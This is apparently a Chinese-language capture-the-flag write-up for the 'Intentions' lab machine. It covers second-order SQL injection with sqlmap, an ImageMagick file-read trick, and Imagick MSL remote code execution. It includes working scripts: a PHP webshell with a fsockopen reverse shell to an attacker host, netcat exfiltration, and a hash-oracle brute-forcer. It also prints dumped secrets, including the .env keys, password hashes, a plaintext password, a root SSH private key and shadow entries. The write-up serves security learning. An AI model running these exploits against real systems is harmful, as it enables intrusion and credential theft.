基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn 10.10.11.220
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-03 13:12 CST
Nmap scan report for 10.10.11.220
Host is up (0.078s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 47:d2:00:66:27:5e:e6:9c:80:89:03:b5:8f:9e:60:e5 (ECDSA)
|_ 256 c8:d0:ac:8d:29:9b:87:40:5f:1b:b0:a4:1d:53:8f:f1 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Intentions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.90 seconds

80

图片库:

gallery

随意注册登录,进入gallery:

Profile

唯一可以输入的地方是Profile里设置偏好图片类型,然后会影响在feed里展示的图片:

二阶sql注入

这种场景很大可能是二阶sql注入,验证存在:

后面参考sqlmap的payload,可以直接回显的:

sqlmap支持二阶注入,需要保存两步请求包,--second-req参数使用第二个包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sqlmap -r genres.txt --level 3 --risk 3 --batch --dbs --tamper=space2comment --second-req feed.txt --threads 10

available databases [2]:
[*] information_schema
[*] intentions

sqlmap -r genres.txt --level 3 --risk 3 --batch --dbs --tamper=space2comment --second-req feed.txt --threads 10 -D intentions --tables

Database: intentions
[4 tables]
+------------------------+
| gallery_images |
| migrations |
| personal_access_tokens |
| users |
+------------------------+

sqlmap -r genres.txt --level 3 --risk 3 --batch --dbs --tamper=space2comment --second-req feed.txt --threads 10 -D intentions -T users --dump

steve@intentions.htb : $2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa
greg@intentions.htb : $2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m

login v2

得到的hash破解不出来,回到登录接口,注意到路径中的v1,修改为v2会发现需要hash参数:

使用通过sql注入得到的hash可以成功登录:

然后前面在数据库中也可以知道这是admin用户,直接访问admin即可:

gallery admin

news里提到新图片需要附上版权信息,images里可以进行编辑:

测试编辑,根据请求响应信息,可能是LFI:

LFI

输入path必须是有效的图片格式,测试常规LFI无效,根据Discord提示用到的Trick(SCTF fumo_backdoor):

1
mvg:/etc/passwd[20x20+20+20]

后面就是一步步读文件:

1
2
3
4
5
6
7
8
9
10
11
12
mvg:/var/www/html/intentions/.env[20x20+20+20]

APP_KEY=base64:YDGHFO792XTVdInb9gGESbGCyRDsAIRCkKoIMwkyHHI=
...
DB_CONNECTION=mysql
DB_HOST=localhost
DB_PORT=3306
DB_DATABASE=intentions
DB_USERNAME=laravel
DB_PASSWORD=02mDWOgsOga03G385!!3Plcx
...
JWT_SECRET=yVH9RCGPMXyzNLoXrEsOl0klZi3MAxMHcMlRAnlobuSO8WNtLHStPiOUUgfmbwPt

但没开debug模式,并不能直接打

lfi.py

discord里给的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import base64

url = 'http://10.10.11.220/api/v2/admin/image/modify'

headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/json',
'X-XSRF-TOKEN': '?',
'Origin': 'http://10.10.11.220',
'Referer': 'http://10.10.11.220/admin',
'Cookie': 'intentions_session=??; token=??',
}

def send_request(file_path):
data = {
'path': f'mvg:{file_path}[20x20+20+20]',
'effect': 'wave'
}

response = requests.post(url, headers=headers, json=data)
#print(response.status_code)
#print(response.text)
if response.status_code == 200 and response.text.startswith('data:image/jpeg;base64,'):
base64_str = response.text.split('data:image/jpeg;base64,')[1]
decoded_str = base64.b64decode(base64_str).decode('utf-8') # decode base64
print(decoded_str)
else:
print(response.text)


file_path = input("Enter the path to the file:")
send_request(file_path)

Imagick 扩展 反序列化

图像处理用的Imagick 扩展,path那里测试也可以通过http到我们可控的源图片,可以参考这个:

用到的是RCE #2:VID 方案,自己手动就是intruder里同时发三个请求,discord里也给了脚本,替换脚本里必要参数,得到www-data:

1
2
3
4
convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["cmd"]); ?>' miao.png

pip3 install aiohttp
python3 shell.py

shell.py

discord里给的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import asyncio
import aiohttp
import requests

headers = {
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36',
'Cookie': 'token=<token>',
'Connection': 'close'
}
header2 = {
"Accept": "*/*",
"Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979"
}
data1 = {
'path': 'vid:msl:/tmp/php*',
'effect': 'charcoal'
}

data2 = '''
--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://<tun>:7777/miao.png" />
<write filename="/var/www/html/intentions/public/miao.php" />
</image>
--------------------------c32aaddf3d8fd979--
'''

data3 = {
'path': 'vid:msl:/var/www/html/intentions/public/index*',
'effect': 'charcoal'
}

url = 'http://<url>/'
url1 = url + "api/v2/admin/image/modify"
url2 = url + "miao.php"

async def send_requests():
async with aiohttp.ClientSession(headers=headers) as session:
tasks = []

for _ in range(30):
task1 = asyncio.ensure_future(session.post(url1, json=data1))
tasks.append(task1)

task2 = asyncio.ensure_future(session.post(url1, headers=header2, data=data2))
tasks.append(task2)

task3 = asyncio.ensure_future(session.post(url1, json=data3))
tasks.append(task3)

responses = await asyncio.gather(*tasks)

for response in responses:
print(await response.text())

loop = asyncio.get_event_loop()
loop.run_until_complete(send_requests())
revshell = {
"cmd":"""$sock=fsockopen("<tun>",4444);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);"""
}
requests.post(url2, data=revshell)
# Remember to modify <tun>,<url>,<token>
# Execute the following command:
#convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["cmd"]); ?>' miao.png
#python3 -m http.server 7777
#rlwrap nc -nlvp 4444

信息

intentions里有git,但www-data没权限读,可以打包下载到本地来查看,得到greg密码:

1
2
3
4
5
6
7
8
9
tar cvf /tmp/git.tar.gz .git
nc 10.10.14.11 4444 < git.tar.gz
# local
rlwrap nc -nlvp 4444 > git.tar.gz

git log
git diff 36b4287cf2fb356d868e71dc1ac90fc8fa99d319 f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4

$res = $test->postJson('/api/v1/auth/login', ['email' => 'greg@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);

user flag

greg账号密码登录,得到user flag:

提权信息

greg用户在scanner组,/opt里也有个scanner程序,这个程序有读文件的特权,但只是给出对应文件的hash:

但注意有一个-l参数,可以指定读取的字节数来进行hash,简单测试:

那这样的话,我们就可以逐个字符爆破出任意文件内容(不确定是否是预期方法,但root用户提供了id_rsa用于读取)

提权 & root flag

方法就是计算出使用字符集的md5,然后逐个字符爆破指定文件,这里已经可以直接读root flag了,但也给了root id_rsa:

root_id_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

shadow

1
2
3
4
root:$y$j9T$JjiD.nZgfr5ZSBdO4E9rY0$ZOElIJaX9F5qdpt54qFqtklDntYf/yo4kEUqqD/KFyA:19519:0:99999:7:::
steven:$y$j9T$TM/hbL/SRCyk67reQMC9C/$QHTiY3rtnGuQS1teQB7jrMys0eMkm7.tlnKFGrsoIa9:19391:0:99999:7:::
greg:$y$j9T$/LxemPBd1ROuQOmQY7OJ0/$T7eTn0juiHsctWeX3GIOynHPuGKRiFMO1F.1zzPG696:19390:0:99999:7:::
legal:$y$j9T$Sl/k/bJVnQR85nLW6kAwj1$lmrMHlaVA9/xFczVtj92LsiLw7xpd4YYrmfJ7Yv37aD:19518:0:99999:7:::

exp.py

也是discord里给的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import os
import hashlib

def find_character(prefix, md5_hash):
for char in range(256):
test_string = prefix + chr(char)
hashed_string = hashlib.md5(test_string.encode()).hexdigest()
if hashed_string == md5_hash:
return chr(char)
return None

def get_hash(file, length):
data = os.popen(f"/opt/scanner/scanner -p -s 123456 -c {file} -l {length}").read()
data_lines = data.split("\n")
return data_lines[0].split()[-1]

file = input("File path: ")
content = ""
cont = 1

while True:
try:
partial_hash = get_hash(file, cont)
new_char = find_character(content, partial_hash)
content += new_char
cont += 1
except:
break

print(os.system("clear"))
print(f"Content of file {file}")
print(content)

参考资料